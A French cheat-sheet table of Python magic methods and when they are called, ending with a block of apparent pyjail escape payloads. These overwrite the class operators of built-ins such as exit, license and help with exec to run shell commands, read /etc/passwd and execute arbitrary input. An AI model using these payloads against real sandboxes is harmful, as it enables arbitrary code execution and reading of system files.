Methodes magiques

Methode magiqueQuand elle est appelee (exemple)Description
__new__(cls [,...])instance = MyClass(arg1, arg2)__new__ est appelee a la creation
__init__(self [,...])instance = MyClass(arg1, arg2)__init__ est appelee a la creation
__cmp__(self, other)self == other, self > other, etc.Appelee pour toute comparaison
__pos__(self)+selfPlus unaire
__neg__(self)-selfMoins unaire
__invert__(self)~selfInversion bitwise
__index__(self)x[self]Conversion en index
__nonzero__(self)bool(self)Valeur booleenne de l'objet
__getattr__(self, name)self.name # name n'existe pasAcces a un attribut inexistant
__setattr__(self, name, val)self.name = valAssignation d'attribut
__delattr__(self, name)del self.nameSuppression d'attribut
__getattribute__(self, name)self.nameAcces a n'importe quel attribut
__getitem__(self, key)self[key]Acces par index
__setitem__(self, key, val)self[key] = valAssignation par index
__delitem__(self, key)del self[key]Suppression par index
__iter__(self)for x in selfIteration
__contains__(self, value)value in self, value not in selfTests d'appartenance
__call__(self [,...])self(args)"Appeler" une instance
__enter__(self)with self as x:Context manager
__exit__(self, exc, val, trace)with self as x:Context manager
__getstate__(self)pickle.dump(pkl_file, self)Pickle
__setstate__(self)data = pickle.load(pkl_file)Pickle
# exit - fonctionne car c'est une instance de Quitter
exit.__class__.__add__ = exec; exit + "import os; os.system('whoami')"
quit.__class__.__add__ = exec; quit + "__import__('os').system('whoami')"
# license - instance de _Printer
license.__class__.__add__ = exec; license + "print(open('/etc/passwd').read())"
credits.__class__.__add__ = exec; credits + "__import__('os').system('pwd')"
copyright.__class__.__add__ = exec; copyright + "exec(input())"
# help - instance de _Helper
help.__class__.__sub__ = exec; help - "__import__('os').system('ls')"
class X: pass
x = X()
x.__class__.__add__ = exec; x + "__import__('os').system('id')"